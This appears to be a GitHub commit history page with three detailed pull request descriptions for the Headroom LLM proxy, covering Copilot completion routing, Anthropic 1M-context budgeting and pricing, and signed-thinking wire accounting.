## Description Fixes #3076. When `github.copilot.advanced.debug.overrideProxyUrl` points at Headroom, the VS Code Copilot extension sends its inline ("ghost text") completions to `/v1/engines/<engine>/completions`. No route matches that path, so it falls into the catch-all passthrough — and `select_passthrough_base_url()` resolves an upstream from the **auth headers alone**, never looking at the path. Copilot sends none of the headers the earlier branches key on, so the request reached the final line (default to OpenAI) and Headroom forwarded editor keystrokes to: ``` https://api.openai.com/v1/engines/gpt-41-copilot/completions ``` Wrong under every configuration — OpenAI removed the Engines API years ago — and blocked outright on corporate networks that permit GitHub Copilot but not OpenAI, which is how it was reported. Inline completions stopped working for every user behind such a policy. The Copilot **CLI** was unaffected: it speaks the CAPI shape (`/chat/completions`), which already resolved correctly. That is the exact asymmetry in the report. ## Type of Change - [x] Bug fix ## Changes Made **Routing.** `select_passthrough_base_url()` now takes the request path and sends this one path to Copilot. The shape identifies Copilot on its own, so the redirect is unambiguous. It is scoped to the OpenAI fall-through — the branch that is wrong here — because every other branch reflects an upstream the caller chose with its own auth headers. **The destination is not hardcoded.** GitHub's token exchange advertises the completions host in `endpoints.proxy`, alongside the `endpoints.api` chat host Headroom already reads. It is now recorded at the single chokepoint every exchange passes through, and preferred. Resolution order: 1. `GITHUB_COPILOT_PROXY_URL` — operator override 2. `endpoints.proxy` from the last token exchange — GitHub's own answer 3. The Copilot API URL No I/O on the request path, and GHE deployments keep their host. This matters: it means the destination is not an assumption about which host serves completions, and if it is wrong for a given network it is an env var rather than a release. **Path preservation.** `build_copilot_upstream_url()` strips `/v1` when the upstream is a Copilot host, because Copilot serves its OpenAI-compatible surface unprefixed (`/chat/completions`, `/models`). But the extension built `/v1/engines/<engine>/completions` itself, so that path is already exactly what Copilot serves — stripping the prefix rewrites a working request into a 404. Preserved, the same carve-out `/v1/messages` needed in #2409. The rule: strip only for clients speaking generic-OpenAI at Copilot, never for Copilot's own paths. ## Testing - [x] New suite: `tests/test_copilot_vscode_completions_routing.py` (30 tests) — path recognition and its near-misses, upstream selection, the `endpoints.proxy` resolution order, and URL construction in both directions - [x] 286 passed across the Copilot, provider-routing and passthrough suites - [x] Ruff check and format pass ### Real Behavior Proof Environment: this branch, a `POST /v1/engines/gpt-41-copilot/completions` driven through the real app with `OPENAI_API_URL=https://api.openai.com` and the outbound HTTP client captured. ``` BEFORE (main): https://api.openai.com/v1/engines/gpt-41-copilot/completions AFTER (this): https://api.githubcopilot.com/v1/engines/gpt-41-copilot/completions ``` The "before" line reproduces the reported URL exactly. **Not tested:** a live VS Code Copilot session confirming GitHub accepts the forwarded request. That needs a real Copilot account and editor. If the completions host turns out to differ, the `endpoints.proxy` lookup or `GITHUB_COPILOT_PROXY_URL` covers it without a code change. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tejas Chopra
|
6d2254dfb5
|
fix(anthropic): honor the [1m] 1M-context tier, and price it correctly (#3073)
Two coupled defects on Anthropic's 1M-context tier: Headroom **under-budgeted** those sessions and **under-priced** them by ~2x. The second gets worse once the first is fixed, so they ship together. --- # Part 1 — `[1m]` was lost before the context budget was sized `sanitize_anthropic_model_id()` strips a trailing `[1m]`, which is correct for the wire — upstream Anthropic rejects the suffix, and #2027 added the strip for exactly that reason. But `[1m]` is not only an ANSI artifact. Claude Code appends it to a model id to request the **1M context tier**, and only sends the `context-1m` beta header when it is present (#1158 — what `headroom wrap claude --1m` sets up). `get_context_limit()` sanitized *before* resolving, so the tier was gone by lookup time: ```python provider.get_context_limit("claude-sonnet-4-5[1m]") # 200_000 ← real window is 1M ``` The request still reached Anthropic correctly and still got a 1M window — the beta header goes through untouched. What broke is our **budget**: Headroom sized a 1M session at 200K and began compacting at a fifth of the available room. Models whose base is already 1M (`claude-opus-5`, `claude-sonnet-5`) resolved to 1M either way, which is why this went unnoticed. It bites the Sonnet 4 / 4.5 family — the models `[1m]` exists for. **Fix:** read the tier off the id *before* sanitizing; raise the resolved limit to at least 1M. `max()` rather than assignment, so a base wider than 1M keeps its own window. Detection is deliberately narrower than the sanitizer — only a literal `[1m]`; `[0m]`, `[1;32m]` and real `ESC[` sequences still strip without promoting. | model id | wire id (unchanged) | limit before | limit after | |---|---|---|---| | `claude-sonnet-4-5` | `claude-sonnet-4-5` | 200K | 200K | | `claude-sonnet-4-5[1m]` | `claude-sonnet-4-5` | **200K** | **1M** | | `claude-opus-5[1m]` | `claude-opus-5` | 1M | 1M | | `claude-sonnet-4-5[0m]` | `claude-sonnet-4-5` | 200K | 200K | | `ESC[1m claude-sonnet-4-5 ESC[0m` | `claude-sonnet-4-5` | 200K | 200K | The wire id is unchanged in every case, so #2027 holds — guarded by a regression test. --- # Part 2 — the pricing that reports those sessions was wrong ### 2a. The LiteLLM cost path was dead in every provider `litellm.completion_cost()` no longer accepts `prompt_tokens` / `completion_tokens`. Every call raised `TypeError`: ``` TypeError: completion_cost() got an unexpected keyword argument 'prompt_tokens' ``` All five providers — `anthropic`, `openai`, `google`, `cohere`, `litellm` — caught it with a bare `except` and silently fell through to their hand-maintained tables. The "up-to-date pricing from LiteLLM" the docstrings promise **has not run at all**. Anthropic additionally passed `input_tokens - cached_tokens`, the wrong convention (LiteLLM expects the cache-inclusive total), which would also have suppressed the long-context threshold even had the call worked. Replaced with `litellm.cost_per_token()` behind one shared helper, `pricing.litellm_pricing.estimate_cost_from_tokens()`, which reuses the existing gateway-alias candidate chain and returns `None` (not an exception) when LiteLLM can't price a model. ### 2b. Neither path applied Anthropic's long-context premium On the Sonnet 4 / 4.5 family a prompt over 200K re-prices the **whole** request — input 2×, output 1.5×, cache 2× — not just the tokens past the threshold. Rates confirmed from LiteLLM's `*_above_200k_tokens` fields. | request (`claude-sonnet-4-5`) | reported before | true | error | |---|---|---|---| | 100K in / 5K out | $0.3750 | $0.3750 | — | | 300K in / 5K out | $0.9750 | **$1.9125** | −49% | | 300K in (150K cached) / 5K out | $0.5700 | **$1.1025** | −48% | LiteLLM applies this itself once the call works. The manual fallback needed `_apply_long_context_premium()` — the LiteLLM dependency is gated `python_version < '3.14'`, so on 3.14 the fallback is the *only* path. **Both paths now agree to four decimal places on every case under test.** --- ## What I checked and did *not* change The fork report that prompted this claimed the Anthropic tables were materially stale ("Opus 4.x priced wrong"). **That does not hold.** I audited every entry against LiteLLM's vendored table: - **Anthropic** — every model LiteLLM knows matches exactly, Opus 4.x included. - **OpenAI** — all 17 entries match; the two that don't resolve are retired models. The defect was the mechanism, not the numbers, so the rate cards are untouched. One thing the repaired path fixes for free: OpenAI's cached-input discount is **50% on gpt-4o, 75% on gpt-4.1, 90% on gpt-5**, but the manual path applies a flat 50% estimate. With LiteLLM live, real per-model rates are used. The flat estimate remains only as the offline fallback. ## Scope **No Rust change needed.** `crates/headroom-proxy/src/compression/model_limits.rs` resolves context windows but has **no in-tree callers**; the Rust `[1m]` handling is wire-body sanitization only, correct as-is, and its integration tests assert behavior this PR does not touch. **Judgment call worth a reviewer's eye:** the `[1m]` marker is honored for *any* model, including ones with no 1M tier (`claude-haiku-4-5-20251001[1m]` → 1M). Gating on an allowlist would be more precise but reintroduces a hand-maintained table that rots — the failure mode `model_limits.rs` already documents against. Since `[1m]` is set by our own wrapper and Claude Code's opt-in, honoring it seemed the better default. Happy to tighten. ## Tests - `TestContext1MSuffix` — detection, the 200K→1M promotion, the `max()` floor, ANSI non-promotion, and the wire-id guard for #2027. - `TestLongContextPricing` — the premium on both paths (parametrized), threshold boundary (200,000 vs 200,001), an untiered model charged no premium, and the two halves meeting: a `[1m]` request gets both the 1M window and the premium rate. - `TestLiteLLMCostHelper` — unknown model returns `None`, a known model prices correctly, and `input_tokens` is cache-inclusive. Two existing tests were updated, both pinned to the broken behavior: - `test_estimate_cost_basic` probed a "per 1M" rate by sending exactly 1M tokens, which now crosses the 200K threshold. Re-probed at 100K. (Worth knowing: `claude-3-5-sonnet-20241022` is retired and no longer in LiteLLM, so the alias chain resolves it to `claude-sonnet-4-20250514` and it inherits that model's tier. Harmless — a 200K-window model can't exceed 200K in reality — but it explains the number.) - `test_litellm_provider_info_and_cost_fallbacks` monkeypatched `litellm.completion_cost`; repointed at the new helper seam. ``` ruff check / ruff format / mypy — clean across all six changed source files ``` 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
JD Davis
|
b3f443636d
|
fix(proxy): align signed-thinking wire accounting (#3015)
## Description Signed-thinking histories force byte-faithful passthrough because re-serializing signed Anthropic blocks can invalidate their signatures. Headroom correctly forwarded the original client bytes, but continued reporting mutations, transforms, savings, response headers, and prefix state from a different body that never reached the provider. Separately, the final Anthropic guard hoisted every `role: system` message into the top-level prompt, including valid mid-conversation system sections, changing their semantics and destroying the cached prefix if that mutation ever shipped. This coupled fix makes downstream accounting use the actual wire body whenever the signed-thinking lock discards edits, and narrows system relocation to the current Anthropic model and placement contract. Closes #2990 Closes #2991 ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [x] Performance improvement - [x] Code refactoring (no functional changes) ## Changes Made - Detects signed thinking in the original request as well as the mutated body, so a transform cannot remove the block and accidentally bypass the byte lock. - Keeps the original-body signature probe best-effort under malformed, recursive, and `MemoryError` conditions. - Carries discarded mutation reasons through the streaming forwarder and emits the existing structured warning on HTTP streaming paths too. - When signed passthrough wins, resets message savings, tool-schema savings, attribution ledgers, transform labels, response headers, and prefix tracking to the original client wire body. - Adds bounded public diagnostic tags naming/counting discarded mutation reasons without exposing body content. - Preserves valid mid-conversation system sections on currently supported Claude models and official Anthropic, Bedrock, and parsed `*.googleapis.com` routes; hostname-boundary validation rejects lookalike and userinfo URLs. - Preserves consecutive system sections and enforces documented predecessor/successor placement rules. - Continues relocating initial, invalidly placed, unsupported-model, and conservative third-party-gateway system messages to avoid upstream 400s. - Includes current `main`, including #2996, #2997, #2971, #3009, #3012, and the MCP dependency cap. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text uv run pytest -q <wire/cache/savings/system focused suite> 379 passed uv run pytest -q tests/test_proxy/test_anthropic_recount_and_reparse_safety.py tests/test_proxy_byte_faithful_forwarding.py tests/test_proxy_handler_helpers.py 99 passed pytest tests scripts/tests --splits 4 --group N --tb=short -q All four CI-shaped fresh-process groups passed locally after correcting the MemoryError regression; each completed in roughly 75-83 seconds. Post-CodeQL correction: 91 focused tests passed; all four exact-head CI-shaped shards passed in roughly 82-95 seconds. uv run ruff format --check . 1411 files already formatted uv run ruff check . All checks passed uv run mypy headroom Success: no issues found in 520 source files ``` ## Real Behavior Proof - Environment: macOS arm64, Python 3.13, branch rebased onto current `main`. - Exact command / steps: sent a signed-thinking request whose tool schema is measurably compacted inside the handler, captured the exact upstream bytes, wrapped the real outcome funnel, and inspected response headers, aggregate metrics, attribution tags, transforms, and prefix-tracker state. Exercised valid, consecutive, invalid, initial, supported-model, and unsupported-model system placements. - Observed result: upstream bytes remain byte-identical to the client; discarded edits contribute zero tokens, zero tool savings, no transform header, and no attribution while the prefix tracker stores the actual wire messages. Valid mid-conversation system sections remain in place; only out-of-contract sections relocate. - Not tested: live paid Anthropic traffic with production credentials. The placement/model contract was verified against the current official documentation and wire behavior is covered with a byte-capturing transport. ## Runtime Rollout Safety - Rollout-managed feature(s): signed-thinking wire-truth accounting and Anthropic mid-conversation system preservation. - Minimum rollout channel: normal patch release after exact-head CI is entirely green. - Stable/default behavior changed: discarded mutations no longer inflate savings; supported valid system sections are no longer hoisted into the top-level prompt. - Kill switch / disable path: no unsafe runtime override; human revert restores the previous conservative relocation/accounting behavior. - Unsafe override required: none. - Qualification impact: all Python shards, byte-forwarding, cache-prefix, outcome/savings, signed-thinking, Anthropic handler, static, Docker, and security checks must remain green. - Rollback path: fix forward through a human-reviewed corrective PR; no persisted data or configuration migration is involved. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [x] I have made corresponding changes to the documentation — inline wire-contract documentation; no separate guide is required - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [x] I did **not** edit `CHANGELOG.md` — it is generated by release-please from my Conventional Commit PR title (a CI guard enforces this) ## Screenshots (if applicable) Not applicable; proxy wire behavior and accounting only. ## Additional Notes Human review only. No merge or auto-merge is configured. Current provider contract reference: https://platform.claude.com/docs/en/build-with-claude/mid-conversation-system-messages |